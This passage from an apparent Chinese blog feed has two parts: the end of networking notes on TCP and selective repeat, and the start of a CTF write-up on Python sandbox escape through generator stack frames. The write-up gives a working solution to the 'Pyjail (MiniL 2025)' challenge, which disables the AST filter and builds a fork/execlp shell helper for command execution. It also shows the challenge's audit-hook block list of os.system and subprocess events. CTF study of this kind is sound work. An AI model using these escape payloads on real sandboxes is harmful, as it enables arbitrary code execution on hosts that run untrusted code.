ACK 丢失, 因此发送方重传这些分组。因此, 接收方下一步要接收序号为 0 的分组, 即第一个发送分组的副本。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/51.png"><p>&emsp;&emsp;</p><p>&emsp;&emsp;在第二种情况下, 如 图3-27b 所示, 对前 3 个分组的 ACK 都被正确交付。因此发送方向前移动窗口并发送第 4、5、6 个分组, 其序号分别为 3、0、1。序号为 3 的分组丢失, 但序号为 0 的分组到达(一个包含新数据的分组).</p><p>&emsp;&emsp;现在考虑一下 图3-27 中接收方的观点, 在发送方和接收方之间有一个假想的帘子, 因为接收方不能“看见”发送方采取的操作。接收方所能观察到的是它从信道中收到的以及它向信道中发出报文序列。就所关注的而言, 图3-27 中的两种情况是等同的。没有办法区分是第 1 个分组的重传还是第 5 个分组的初次传输。显然, 窗口长度比序号空间小 1 时协议无法工作。但窗口必须多小呢? 对于 SR 协议而言, 窗口长度必须小于或等于序号空间大小的一半。</p><blockquote><p><strong>为什么窗口长度须小于等于序号空间的一般一半？</strong></p><p>在窗口长度为 2, 序号空间大小为 4 的情况下：</p><ul><li>若发出了 0, 1, 则使用了 0, 1 连个空间, 接下来的发送窗口序号与接收窗口序号就是 2, 3; 而要发出的是 0, 1, 不会发生冲突。 </li><li>若发出了 0, 1, 而 0 收到了 ACK, 1 超时了, 接下来的发送序号为 1, 2, 接收窗口为 1, 2; 此时也不存在重复， 不会冲突。</li><li>若发出了 0, 1, 而 0 收到了 ACK, 1 的接收 ACK 丢包了, 则需要重传 1 号分组, 接收窗口为 2, 3; 此时也不会存在冲突。</li></ul><p>总结来说, 不论丢包与否,  何时丢什么包, 都必然不可能发生窗口和序号重叠的情况。</p></blockquote><p>&emsp;&emsp;至此我们结束了对可靠数据传输协议的讨论。我们已涵盖许多基础知识, 并介绍了多种机制, 这些机制可一起提供可靠数据传输。表3-1 总结这些机制。既然我们已经学习了所有这些运行中的机制, 并能看到“全景”, 我们建议你再复习一遍本节内容, 看看这些机制是怎样逐步被添加进来, 以涵盖复杂性渐增的(也就是越发现实的)连接发送方与接收方的各种信道模型的, 或者如何改善协议性能的。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/52.png"><p>&emsp;&emsp;我们通过考虑在底层信道模型中的一个遗留假设来结束对可靠数据传输协议的讨论。前面讲过, 我们曾假定分组在发送方与接收方之间的信道中不能被重新排序。这在发送方与接收方由单段物理线路相连的情况下, 通常是一个合理的假设。然而, 当连接两端的“信道”是一个网络, 分组重新排序是可能会发生的。分组重新排序的一个表现就是, 一个具有序号或确认号 <strong>x</strong> 的分组的旧副本可能会出现, 即使发送方或接收方的窗口中都没有包含 <strong>x</strong>。对于分组重新排序, 信道可被看成基本上是在缓存分组, 并在将来任意时刻自然地释放出这些分组。由于序号可以被重新使用, 那么必须小心, 以免出现这样的冗余分组。实际应用中采用的方法是, 确保一个序号不被重新使用, 直到发送方“确信”任何先前发送的序号为 <strong>x</strong> 的分组都不再在网络中为止。通过假定一个分组在网络中的“存活”时间不会超过某个固定最大时间量来做到这一点。在高速网络的 TCP 扩展中, 最长的分组寿命被假定为大约3分钟 [RFC 7323]。 [Sunshine 1978] 描述了一种使用序号的方法, 它能够完全避免重新排序问题。</p><h3 id="面向连接的运输-tcp"><a href="#面向连接的运输-TCP" class="headerlink" title="面向连接的运输: TCP"></a>面向连接的运输: TCP</h3><p>&emsp;&emsp;既然我们已经学习了可靠数据传输的基本原理, 我们就可以转而学习 TCP 了。TCP 是因特网运输层的面向连接的可靠的运输协议。我们在本节中将看到, 为了提供可靠数据传输, TCP 依赖于前一节所讨论的许多基本原理, 其中包括差错检测、重传、累积确认、定时器以及用于序号和确认号的首部字段。TCP 定义在 RFC793、RFC1122、RFC2018、RFC5681 和 REFC7323 中。</p><h4 id="tcp-连接"><a href="#TCP-连接" class="headerlink" title="TCP 连接"></a>TCP 连接</h4><p>&emsp;&emsp;TCP 被称为是面向连接的(connection-oriented), 这是因为在一个应用进程可以开始向另一个应用进程发送数据之前, 这两个进程必须先相互“握手”, 即它们必须相互发送某些预备报文段, 以建立确保数据传输的参数。作为 TCP 连接建立的一部分, 连接的双方都将初始化与 TCP 连接相关的许多 TCP 状态变量。</p><blockquote><p><strong>历史事件: Vinton Cerf, Robert Kahn 和 TCP&#x2F;IP</strong></p><p>&emsp;&emsp;在 20 世纪 70 年代早期, 分组交换网开始飞速增长, 而因特网的前身 <strong>ARPAnet</strong> 也只是当时众多分组交换网中的一个。这些网络都有它们各自的协议。两个研究人员<strong>Vinton Cerf</strong> 和 <strong>Robert Kahn</strong> 认识到互联网这些网络的重要性, 发明了沟通网络的 TCP&#x2F;IP, 该协议代表<font color="#ff9f9f"><strong>传输控制协议&#x2F;网际协议(Transmission Control Protocol&#x2F;Internet Protocol)</strong></font>。 虽然<strong>Cerf</strong> 和 <strong>Kahn</strong> 开始时把该协会看成单一的实体, 但是后来将它分成单独运行的两个部分: TCP 和 IP。<strong>Cerf</strong> 和 <strong>Kahn</strong> 在1974年5月的IEEE Transactions on Commurnications Technrology 杂志上发表了一篇关于 TCP&#x2F;IP 的论文 [Cerf 1974].</p><p>&emsp;&emsp;TCP&#x2F;IP 是当今因特网的支柱性协议, 但它的发明先于PC、工作站、智能手机和平板电脑, 先于以太网、电缆、DSL、WiFi和其他接入网技术的激增, 先于Web、社交媒体和流式视频等。<strong>Cerf</strong> 和 <strong>Kahn</strong> 预见到了对于联网协议的需求, 一方面为行将定义的应用提供广泛的支持, 另一方面允许任何主机与链路层协议互操作。</p><p>&emsp;&emsp;2004年, <strong>Cerf</strong> 和 <strong>Kahn</strong> 由于“联网方面的开创性工作(包括因特网的基本通信协议TCP&#x2F;IP 的设计和实现)以及联网方面富有才能的领导”而获得 ACM 图灵奖, 该奖项被认为是“计算机界的诺贝尔奖”。</p></blockquote><p>&emsp;&emsp;这种 TCP “连接”不是一条像在电路交换网络中的端到端 TDM 或 FDM 电路。相反, 该“连接”是一条逻辑连接, 其共同状态仅保留在两个通信端系统的 TCP 程序中。前面讲过, 由于 TCP 协议只在端系统中运行, 而不在中间的网络元素(路由器和链路层交换机)中运行, 所以中间的网络元素不会维持 TCP 连接状态。事实上, 中间路由器对 TCP 连接完全视而不见, 它们看到的是数据报, 而不是连接完全视而不见, 它们看到的是数据报, 而不是连接。</p><p>&emsp;&emsp;TCP 连接提供的是<font color="#ff9f9f"><strong>全双工服务(full-duplex service)</strong></font>: 如果一台主机上的进程 A 与另一台主机上的进程 B 存在一条 TCP 连接, 那么应用层数据就可以从进程 B 流向进程 A 的同时, 也从进程 A 流向进程 B。TCP 连接也总是<font color="#ff9f9f"><strong>点对点(Point-to-Point Protocol, PPP)</strong></font>的, 即在单个发送方与单个接收方之间的连接。所谓“多播”, 即在一次发送操作中, 从一个发送方将数据传送给多个接收方, 这种情况对 TCP 来说是不可能的。对于 TCP 而言,两台主机是一对, 而 3 台主机则太多了!</p><p>&emsp;&emsp;我们现在来看看 TCP 连接是怎样建立的。假设运行在某台主机上的一个进程想与另一台主机上的一个进程建立一条连接。前面讲过, 发起连接的这个进程被称为客户进程, 而另一个进程被称为服务器进程。该客户应用进程首先要通知客户运输层, 它想与服务器上的一个进程建立一条连接。一个 Python 客户程序通过发出下面的命令来实现此目的:</p><pre><code class="python">clientSocket.connect((serverName, serverPort))</code></pre><p>&emsp;&emsp;其中 <code>serverName</code> 是服务器的名字, <code>serverPort</code>标识了服务器上的进程。客户上的 TCP 便开始与服务器上的 TCP 建立一条 TCP 连接。我们将在本节后面更为详细地讨论连接建立的过程。现在知道下列事实就可以了: </p><ul><li>客户首先发送一个特殊的 TCP 报文段</li><li>服务器用另一个特殊的 TCP 报文段来响应</li><li>客户再用第三个特殊报文段作为响应。</li></ul><p>&emsp;&emsp;前两个报文段不承载“有效载荷”, 也就是不包含应用层数据; 而第三个报文段可以承载有效载荷。由于在这两台主机之间发送了 3 个报文段, 所以这种连接建立过程常被称为<font color="#ff9f9f"><strong>三次握手(three-wayhandshake)</strong></font>。</p><p>&emsp;&emsp;一旦建立起一条 TCP 连接, 两个应用进程之间就可以相互发送数据了。我们考虑一下从客户进程向服务器进程发送数据的情况。客户进程通过套接字(socket)传递数据流。数据一旦通过该 socket, 它就由客户中运行的 TCP 控制了。如 图3-28 所示, TCP 将这些数据引导到该连接的<font color="#ff9f9f"><strong>发送缓存(send buffer)</strong></font>里, 发送缓存是发起三次握手期间设置的缓存之一。接下来 TCP 就会不时从发送缓存里取出一块数据, 并将数据传递到网络层。有趣的是, 在 TCP 规范 [RFC793] 中却没提及 TCP 应何时实际发送缓存里的数据, 只是描述为“TCP 应该在它方便的时候以报文段的形式发送数据”。TCP可从缓存中取出并放入报文段中的数据数量受限于<font color="#ff9f9f"><strong>最大报文段长度(Maximum Segment Size, MSS)</strong></font>。MSS 通常根据最初确定的由本地发送主机发送的最大链路层帧长度 [即所谓的<font color="#ff9f9f"><strong>最大传输单元(Maximum Transmission Unit, MTU)</strong></font>]来设置。设置该 MSS 要保证一个 TCP 报文段(当封装在一个了数据报)加上 TCP&#x2F;IP 首部长度(通常 40 字节)将适合单个链路层帧。以太网和 PPP 链路层协议都具有 1500 字节的 MTU, 因此 MSS 的典型值为 1460 字节。已经提出了多种发现路径 MTU 的方法, 并基于路径 MTU 值设置 MSS (路径 MTU 是指能在从源到目的地的所有链路上发送的最大链路层帧 [RFC1191])。注意到 MSS 是指在报文段里应用层数据的最大长度, 而不是指包括首部的 TCP 报文段的最大长度。(该术语很容易混淆, 但是我们不得不采用它, 因为它已经根深蒂固了。)</p><p>&emsp;&emsp;TCP 为每块客户数据配上一个 TCP 首部, 从而形成多个<font color="#ff9f9f"><strong>TCP报文段(TCP segment)</strong></font>。这些报文段被下传给网络层, 网络层将其分别封装在网络层 IP 数据报中。然后这些 IP 数据报被发送到网络中。当 TCP 在另一端接收到一个报文段后, 该报文段的数据就被放和人该 TCP 连接的接收缓存中, 如 图3-28 中所示。应用程序从此缓存中读取数据流。该连接的每一端都有各自的发送缓存和接收缓存。</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/53.png"><p>&emsp;&emsp;从以上讨论中我们可以看出, TCP 连接的组成包括: 一台主机上的缓存、变量和与进程连接的套接字, 以及另一台主机上的另一组缓存、变量和与进程连接的套接字。如前面讲过的那样, 在这两台主机之间的网络元素(路由、交换机和中继融)中, 没有为该连接分配任何缓存和变量。</p><h4 id="tcp-报文段结构"><a href="#TCP-报文段结构" class="headerlink" title="TCP 报文段结构"></a>TCP 报文段结构</h4><p>&emsp;&emsp;</p>]]></content>
    
    
    <summary type="html">计算机网络自顶向下的读书笔记喵~</summary>
    
    
    
    <category term="笔记" scheme="https://101.43.94.206/categories/%E7%AC%94%E8%AE%B0/"/>
    
    
    <category term="Web" scheme="https://101.43.94.206/tags/Web/"/>
    
  </entry>
  
  <entry>
    <title>Python沙箱逃逸</title>
    <link href="https://101.43.94.206/2025/05/15/python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/"/>
    <id>https://101.43.94.206/2025/05/15/python%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/</id>
    <published>2025-05-15T05:01:56.000Z</published>
    <updated>2025-05-15T05:05:20.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="python沙箱逃逸"><a href="#python沙箱逃逸" class="headerlink" title="python沙箱逃逸"></a>python沙箱逃逸</h2><h3 id="生成器栈帧逃逸"><a href="#生成器栈帧逃逸" class="headerlink" title="生成器栈帧逃逸"></a>生成器栈帧逃逸</h3><blockquote><p>本节参考：</p><ul><li><a href="https://www.cnblogs.com/gaorenyusi/p/18242719">python栈帧沙箱逃逸 </a></li><li><a href="https://stackoverflow.com/questions/41239455/why-are-python-generator-frames-gi-frame-f-back-attribute-always-none">Why are python generator frames’ (gi_frame) f_back attribute always none?</a></li></ul></blockquote><h4 id="生成器"><a href="#生成器" class="headerlink" title="生成器"></a>生成器</h4><p>&emsp;&emsp;生成器（Generator）是 Python 中一种特殊的迭代器，它可以通过简单的函数和表达式来创建。生成器的主要特点是能够逐个产生值，并且在每次生成值后保留当前的状态，以便下次调用时可以继续生成值。这使得生成器非常适合处理大型数据集或需要延迟计算的情况。</p><p>在 Python 中，生成器可以通过两种方式创建：</p><ul><li><p>生成器函数：定义一个函数，使用 <code>yield</code> 关键字生成值，每次调用生成器函数时，生成器会暂停并返回一个值，下次调用时会从暂停的地方继续执行。</p><pre><code class="python">def my_generator():    yield 1    yield 2    yield 3gen = my_generator()print(next(gen)) # 第一次调用，输出 1print(next(gen)) # 第二次调用，输出 2print(next(gen)) # 第三次调用，输出 3</code></pre></li><li><p>生成器表达式：使用类似列表推导式的语法，但使用圆括号而不是方括号，可以用来创建生成器对象。生成器表达式会逐个生成值，而不是一次性生成整个序列，这样可以节省内存空间，特别是在处理大型数据集时非常有用。</p><pre><code class="python">gen = (x*x for x in range(5))print(list(gen))  # 输出 [0, 1, 4, 9, 16]</code></pre></li></ul><h4 id="栈帧"><a href="#栈帧" class="headerlink" title="栈帧"></a>栈帧</h4><p>&emsp;&emsp;在 Python 中，<font color="#ff9f9f"><strong>栈帧(stack frame)</strong></font>，也称为帧(frame)，是用于执行代码的数据结构。每当 Python 解释器执行一个函数或方法时，都会创建一个新的栈帧，用于存储该函数或方法的局部变量、参数、返回地址以及其他执行相关的信息。这些栈帧会按照调用顺序被组织成一个栈，称为调用栈。</p><p>栈帧包含了以下几个重要的属性：<br><code>f_locals</code>: 一个字典，包含了函数或方法的局部变量。键是变量名，值是变量的值。<br><code>f_globals</code>: 一个字典，包含了函数或方法所在模块的全局变量。键是全局变量名，值是变量的值。<br><code>f_code</code>: 一个代码对象（code object），包含了函数或方法的字节码指令、常量、变量名等信息。<br><code>f_lasti</code>: 整数，表示最后执行的字节码指令的索引。<br><code>f_back</code>: 指向上一级调用栈帧的引用，用于构建调用栈。</p><h4 id="生成器属性"><a href="#生成器属性" class="headerlink" title="生成器属性"></a>生成器属性</h4><p><code>gi_code</code>: 生成器对应的code对象。<br><code>gi_frame</code>: 生成器对应的frame（栈帧）对象。<br><code>gi_running</code>: 生成器函数是否在执行。生成器函数在 yield 以后、执行 yield 的下一行代码前处于 frozen 状态，此时这个属性的值为0。<br><code>gi_yieldfrom</code>：如果生成器正在从另一个生成器中 yield 值，则为该生成器对象的引用；否则为 None。<br><code>gi_frame.f_locals</code>：一个字典，包含生成器当前帧的局部变量。</p><p>&emsp;&emsp;着重介绍一下 gi_frame 属性。<code>gi_frame</code> 是一个与生成器（generator）相关的属性。它指向生成器当前执行的帧对象（frame object），如果这个生成器正在执行的话。帧对象表示代码执行的当前上下文，包含了局部变量、执行的字节码指令等信息。</p><pre><code class="python">def my_generator():    yield 1    yield 2    yield 3gen = my_generator()# 获取生成器的当前帧信息frame = gen.gi_frame# 输出生成器的当前帧信息print(&quot;Local Variables:&quot;, frame.f_locals)print(&quot;Global Variables:&quot;, frame.f_globals)print(&quot;Code Object:&quot;, frame.f_code)print(&quot;Instruction Pointer:&quot;, frame.f_lasti)</code></pre><p>同理利用<code>gi_code</code>属性也可以获得生成器的相关代码对象属性：</p><pre><code class="python">def my_generator():    yield 1    yield 2    yield 3gen = my_generator()# 获取生成器的当前代码信息code = gen.gi_code# 输出生成器的当前代码信息print(code.co_name)print(code.co_code)print(code.co_consts)print(code.co_filename)</code></pre><h4 id="利用生成器栈帧沙箱逃逸"><a href="#利用生成器栈帧沙箱逃逸" class="headerlink" title="利用生成器栈帧沙箱逃逸"></a>利用生成器栈帧沙箱逃逸</h4><p>&emsp;&emsp;原理就是通过生成器的栈帧对象通过f_back（返回前一帧）从而逃逸出去获取globals全局符号表。观察下例，可以更好地理解什么是f_back:</p><pre><code class="python">def waff():    def f():        yield g.gi_frame.f_back  # 返回调用生成器g的栈帧（即waff函数的栈帧）    g = f()  # 生成器    frame = next(g)  # 获取调用生成器g的栈帧对象    print(frame) # 打印调用生成器g的栈帧（即waff函数的栈帧）    print(frame.f_back)  # 打印调用waff函数的栈帧（通常是模块级栈帧）    print(frame.f_back.f_back) # 打印调用模块的栈帧(这里的模块实际指的就是整个环境，不会再有调用它的栈帧了，因为他就是栈帧堆底)b = waff()&#39;&#39;&#39;&lt;frame at 0x0000017F9003C7C0, file &#39;e:\\test_files\\Py\\box.py&#39;, line 7, code waff&gt;&lt;frame at 0x0000017F903016C0, file &#39;e:\\test_files\\Py\\box.py&#39;, line 10, code &lt;module&gt;&gt;None&#39;&#39;&#39;</code></pre><blockquote><p>如果把生成器的第一个元素改为<code>g.gi_frame</code>,会发生什么呢?示例如下:</p><pre><code class="python">def waff():    def f():      yield g.gi_frame    g = f()     frame = next(g)    print(frame)     print(frame.f_back)waff()&#39;&#39;&#39;&lt;frame at 0x000001FE0D2C1620, file &#39;e:\\test_files\\Py\\box.py&#39;, line 3, code f&gt;None&#39;&#39;&#39;</code></pre><p>神奇的事情发生了：根据我们之前的推断，这里的None不该出现，而应该指向全局环境才对，为什么会出现这个问题呢？</p><p>找来找去找了一圈没找到，问ai不懂，到最后得靠万能的群友(mantle神力！)找到了一个提问(本节参考的第二个url)，根据回答，可以总结如下：</p><p> CPython 为了<strong>避免内存泄漏和引用循环</strong>设计了主动行为，源码如下：</p><pre><code class="python">/* Don&#39;t keep the reference to f_back any longer than necessary.  It* may keep a chain of frames alive or it could create a reference* cycle. */assert(f-&gt;f_back == tstate-&gt;frame);Py_CLEAR(f-&gt;f_back);</code></pre><p>在生成器的帧对象挂起（即<code>yield</code>后到下次<code>yield</code>前的冻结状态）时，CPython 会<strong>主动清除其<code>f_back</code>引用</strong>，防止以下问题：</p><ul><li><strong>引用循环</strong>：如果生成器的帧（<code>g.gi_frame</code>）通过 <code>f_back</code> 反向引用其调用者帧（如 <code>waff</code> 函数的帧），而调用者帧又直接或间接引用了生成器对象 <code>g</code>，会导致循环引用，无法被垃圾回收。</li><li><strong>内存泄漏</strong>：长时间保持对调用者帧的引用会阻止整个调用链上的帧被及时释放。</li></ul><p>也就是说，<font color="#ff9f9f"><strong>生成器在挂起状态时，其f_back属性会被主动置None</strong></font></p><p>那么之前的疑问代码流程就是以下模样：</p><ol><li>全局环境调用<code>waff()</code>函数</li><li><code>f()</code>函数被定义</li><li>令g为<code>f()</code>函数,即将g定义为生成器</li><li>调用<code>next(g)</code>,运行生成器至<code>yield</code>返回生成器本身的栈帧(可以直接返回),并在此时挂起</li><li>打印<code>frame</code>,即打印生成器本身的栈帧</li><li>尝试打印<code>frame.f_back</code>,由于生成器处于挂起状态,其<code>f_back</code>属性主动置None,这里打印None</li></ol><p>这样的流程就合理了.同样,之前的符合原本预期的源码流程可以如下解释:</p><ol><li>全局环境调用<code>waff()</code>函数</li><li><code>f()</code>函数被定义</li><li>令g为<code>f()</code>函数,即将g定义为生成器</li><li>调用<code>next(g)</code>,运行生成器至<code>yield</code>，希望返回调用生成器g的栈帧对象，此时由于生成器的<code>yield</code>并未返回，也就是说生成器处于运行状态，这个<code>f_back</code>属性将如期返回<code>waff</code>的栈帧(可以在这里打印本栈帧的局部变量，可以确定为<code>waff</code>函数栈帧)</li><li>调用<code>waff</code>函数的栈帧对象是全局环境,此处正常打印</li><li>没有对象能调用全局环境,故<code>frame.f_back.f_back</code>为None</li></ol><p>也是合情合理。</p><p>因此，在利用生成器栈帧逃逸时，一定要注意到生成器在挂起状态下是无法如预期地得到上一层调用栈帧的。需要在生成器运行时得到其上一栈帧。</p></blockquote><p>再来一个较为典型的例子感受这个手法：</p><pre><code class="python">s3cret=&quot;this is flag&quot;codes=&#39;&#39;&#39;def waff():    def f():        yield g.gi_frame.f_back    g = f()  #生成器    frame = next(g) #获取到生成器的栈帧对象    print(frame)    print(frame.f_back)    print(frame.f_back.f_back)    b = frame.f_back.f_back.f_globals[&#39;s3cret&#39;] #返回并获取前一级栈帧的globals    return bb=waff()&#39;&#39;&#39;locals=&#123;&#125;code = compile(codes, &quot;test&quot;, &quot;exec&quot;)exec(code,locals)print(locals[&quot;b&quot;])&#39;&#39;&#39;&lt;frame at 0x00000254A98ECE80, file &#39;test&#39;, line 8, code waff&gt;&lt;frame at 0x00000254A9C21E40, file &#39;test&#39;, line 13, code &lt;module&gt;&gt;&lt;frame at 0x00000254A9924BF0, file &#39;e:\\test_files\\Py\\box.py&#39;, line 19, code &lt;module&gt;&gt;this is flag&#39;&#39;&#39;</code></pre><p>对于以上代码,我们发现<code>codes</code>这些代码是在<code>test</code>这个沙盒中运行的,理论上是与全局变量隔离的,没办法从<code>test</code>这个局部环境中得到<code>s3cret</code>变量.然而<code>codes</code>中存在符合条件的生成器,这使得可以一层一层地回溯调用栈帧,直到回到全局环境(<code>codes</code>在<code>exec</code>中被调用)</p><p>以上就是生成器栈帧逃逸地基本原理，来道题目感受一下</p><h4 id="pyjailminil-2025"><a href="#Pyjail-MiniL-2025" class="headerlink" title="Pyjail(MiniL 2025)"></a>Pyjail(MiniL 2025)</h4><pre><code class="python">import socketserverimport sysimport astimport iowith open(__file__, &quot;r&quot;, encoding=&quot;utf-8&quot;) as f:    source_code = f.read()class SandboxVisitor(ast.NodeVisitor):    def visit_Attribute(self, node):        if isinstance(node.attr, str) and node.attr.startswith(&quot;__&quot;):            raise ValueError(&quot;Access to private attributes is not allowed&quot;)        self.generic_visit(node)def safe_exec(code: str, sandbox_globals=None):    original_stdout = sys.stdout    original_stderr = sys.stderr    sys.stdout = io.StringIO()    sys.stderr = io.StringIO()    if sandbox_globals is None:        sandbox_globals = &#123;            &quot;__builtins__&quot;: &#123;                &quot;print&quot;: print,                &quot;any&quot;: any,                &quot;len&quot;: len,                &quot;RuntimeError&quot;: RuntimeError,                &quot;addaudithook&quot;: sys.addaudithook,                &quot;original_stdout&quot;: original_stdout,                &quot;original_stderr&quot;: original_stderr            &#125;        &#125;    try:        tree = ast.parse(code)        SandboxVisitor().visit(tree)        exec(code, sandbox_globals)        output = sys.stdout.getvalue()        sys.stdout = original_stdout        sys.stderr = original_stderr        return output, sandbox_globals    except Exception as e:        sys.stdout = original_stdout        sys.stderr = original_stderr        return f&quot;Error: &#123;str(e)&#125;&quot;, sandbox_globalsCODE = &quot;&quot;&quot;def my_audit_checker(event, args):    blocked_events = [        &quot;import&quot;, &quot;time.sleep&quot;, &quot;builtins.input&quot;, &quot;builtins.input/result&quot;, &quot;open&quot;, &quot;os.system&quot;,         &quot;eval&quot;,&quot;subprocess.Popen&quot;, &quot;subprocess.call&quot;, &quot;subprocess.run&quot;, &quot;subprocess.check_output&quot;    ]    if event in blocked_events or event.startswith(&quot;subprocess.&quot;):        raise RuntimeError(f&quot;Operation not allowed: &#123;event&#125;&quot;)addaudithook(my_audit_checker)&quot;&quot;&quot;class Handler(socketserver.BaseRequestHandler):    def handle(self):        self.request.sendall(b&quot;Welcome to Interactive Pyjail!\n&quot;)        self.request.sendall(b&quot;Rules: No import / No sleep / No input\n\n&quot;)        try:            self.request.sendall(b&quot;========= Server Source Code =========\n&quot;)            self.request.sendall(source_code.encode() + b&quot;\n&quot;)            self.request.sendall(b&quot;========= End of Source Code =========\n\n&quot;)        except Exception as e:            self.request.sendall(b&quot;Failed to load source code.\n&quot;)            self.request.sendall(str(e).encode() + b&quot;\n&quot;)        self.request.sendall(b&quot;Type your code line by line. Type &#39;exit&#39; to quit.\n\n&quot;)        prefix_code = CODE        sandbox_globals = None        while True:            self.request.sendall(b&quot;&gt;&gt;&gt; &quot;)            try:                user_input = self.request.recv(4096).decode().strip()                if not user_input:                    continue                if user_input.lower() == &quot;exit&quot;:                    self.request.sendall(b&quot;Bye!\n&quot;)                    break                if len(user_input) &gt; 100:                    self.request.sendall(b&quot;Input too long (max 100 chars)!\n&quot;)                    continue                full_code = prefix_code + user_input + &quot;\n&quot;                prefix_code = &quot;&quot;                result, sandbox_globals = safe_exec(full_code, sandbox_globals)                self.request.sendall(result.encode() + b&quot;\n&quot;)            except Exception as e:                self.request.sendall(f&quot;Error occurred: &#123;str(e)&#125;\n&quot;.encode())                breakif __name__ == &quot;__main__&quot;:    HOST, PORT = &quot;0.0.0.0&quot;, 5000    with socketserver.ThreadingTCPServer((HOST, PORT), Handler) as server:        print(f&quot;Server listening on &#123;HOST&#125;:&#123;PORT&#125;&quot;)        server.serve_forever()</code></pre><p>&emsp;&emsp;这里存在沙盒环境<code>sandbox_globals</code>，对于在沙盒中的函数进行限制并且通过ast检查来禁止访问以双下划线（<code>__</code>）开头的私有属性。但是在这里我们仍然可以通过自己造一个生成器来进行栈帧逃逸：</p><pre><code class="python">a = (a.gi_frame.f_back.f_back for i in [1])a = [x for x in a][0]# a最终即为safe_exec的栈帧, 此时的a.f_globals就是全局环境了。</code></pre><p>接下来，因为import被禁用了，我们得看看全局环境下有啥可以利用的模块：</p><pre><code class="python">globals = a.f_globalsglobals[&#39;SandboxVisitor&#39;].visit_Attribute=lambda x,y:None # 这里将ast检查干掉，方便后续操作print(globals[&quot;sys&quot;].modules[&quot;os&quot;]) # 由于源码导入了sys，这里可以确认sys的存在&#39;&#39;&#39;&lt;module &#39;os&#39; (frozen)&gt;&#39;&#39;&#39;# 这样我们就能确认os存在并且可以拿来用了os = globals[&quot;sys&quot;].modules[&quot;os&quot;]sys = globals[&quot;sys&quot;]# 这里是不能直接用os.popen的。官方文档里有指出os.popen是靠subprocess.popen实现的</code></pre><pre><code class="python">a = &#39;def run(cmd):\n&#39;a += &#39;    r, w = os.pipe()\n&#39;a += &#39;    pid = os.fork()\n&#39;a += &#39;    if pid == 0:\n&#39;a += &#39;        os.close(r)\n&#39;a += &#39;        os.dup2(w, 1)\n&#39;a += &#39;        os.dup2(w, 2)\n&#39;a += &#39;        os.execlp(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, cmd)\n&#39;a += &#39;    else:\n&#39;a += &#39;        os.close(w)\n&#39;a += &#39;        output = b&quot;&quot;.join(iter(lambda: os.read(r, 4096), b&quot;&quot;)).decode()\n&#39;a += &#39;        os.close(r)\n&#39;a += &#39;        os.waitpid(pid, 0)\n&#39;a += &#39;        return output\n&#39;# 以上函数改造自官方wp，下有解释</code></pre><p>这样就构造出了一个可以执行命令并回显的函数(需要处理输入输出，否则输出在服务端而非客户端)。函数如下：</p><pre><code class="python">def run(cmd):    r, w = os.pipe()     pid = os.fork()    if pid == 0:        os.close(r)        os.dup2(w, 1)        os.dup2(w, 2)        os.execlp(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, cmd)    else:        os.close(w)        output = b&quot;&quot;.join(iter(lambda: os.read(r, 4096), b&quot;&quot;)).decode()        os.close(r)        os.waitpid(pid, 0)        return output</code></pre><p>让我们解释以下这个函数：</p><ul><li><code>r, w = os.pipe()</code>:<code>os.pipe()</code>在内核中开辟了一块缓冲区，并返回两个文件描述符，一个用于读取管道（r），一个用于写入管道（w）。这两个文件描述符在父进程和子进程中都可以访问，从而实现了两个进程之间的连接</li><li><code>pid = os.fork()</code>:<code>os.fork()</code>创建子进程(该子进程是父进程的副本，在这里就是执行这个函数的进程)并返回pid。这之后，子进程与父进程会得到各自的pid，pid&#x3D;0为子进程，pid&gt;0为父进程</li><li><strong>子进程行为</strong>：<ul><li><code>os.close(r)</code>:关闭管道读端,因为子进程不需要读入数据</li><li><code>os.dup2(w, 1),os.dup2(w, 2)</code>:将子进程的标准输出(1)和标准错误(2)重定向至管道写端(之后就会通过管道以字节流形式传递给父进程)</li><li><code>os.execlp(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-c&quot;, cmd)</code>执行cmd命令,输出将写入管道.</li></ul></li><li><strong>父进程行为</strong>:<ul><li><code>os.close(w)</code>:关闭管道写端</li><li><code>output = b&quot;&quot;.join(iter(lambda: os.read(r, 4096), b&quot;&quot;)).decode()</code>:<code>os.read</code>读取管道中的数据(子进程写入的数据,每次读入最多4096字节)，<code>iter</code>函数会不断调用 <code>os.read(r, 4096)</code>，直到返回 <code>b&quot;&quot;</code>（这代表着子进程不再写入数据，管道关闭）。</li><li><code>os.close(r)</code>:关闭管道读端,释放资源</li><li><code>os.waitpid(pid, 0)</code>:等待子进程结束</li><li>最后返回输出，成功将子进程的输出传输到父进程，这样我们就能得到回显了。否则由于运行代码的是服务端，客户端是没办法得到回显的，通过子进程执行命令再由父进程取得输出来避免输出到服务端，而可以被我们拿到。</li></ul></li></ul><p>我们的函数还需要iter函数，运行这个字符串拼接的函数还得要exec，而这些都好拿到：</p><pre><code class="python">iter=globals[&quot;__builtins__&quot;].iterexec=globals[&quot;__builtins__&quot;].exec# 接着运行，就可以用这个函数来rce了exec(a)print(run(&quot;ls /&quot;))</code></pre><p>至此，已经达到了rce的目的，题目也就基本完结了(原题还有一点小活，不是问题)</p><h3 id="异常栈帧逃逸"><a href="#异常栈帧逃逸" class="headerlink" title="异常栈帧逃逸"></a>异常栈帧逃逸</h3><blockquote><p>本节参考：</p><ul><li><a href="https://forum.butian.net/share/4114">Python沙箱逃逸の旁门左道</a></li><li><a href="https://docs.python.org/zh-cn/3/reference/datamodel.html#traceback-objects">Python手册——回溯对象</a></li></ul></blockquote><h4 id="什么是回溯对象"><a href="#什么是回溯对象" class="headerlink" title="什么是回溯对象"></a>什么是回溯对象</h4><p>&emsp;&emsp;回溯对象代表一个异常的栈跟踪信息。当异常发生时会隐式地创建一个回溯对象。从py3.7之后，也可以显式地创建一个回溯对象了。</p><p>&emsp;&emsp;对于隐式地创建的回溯对象，当查找异常处理器使得执行栈展开时，会在每个展开层级的当前回溯之前插入一个回溯对象。 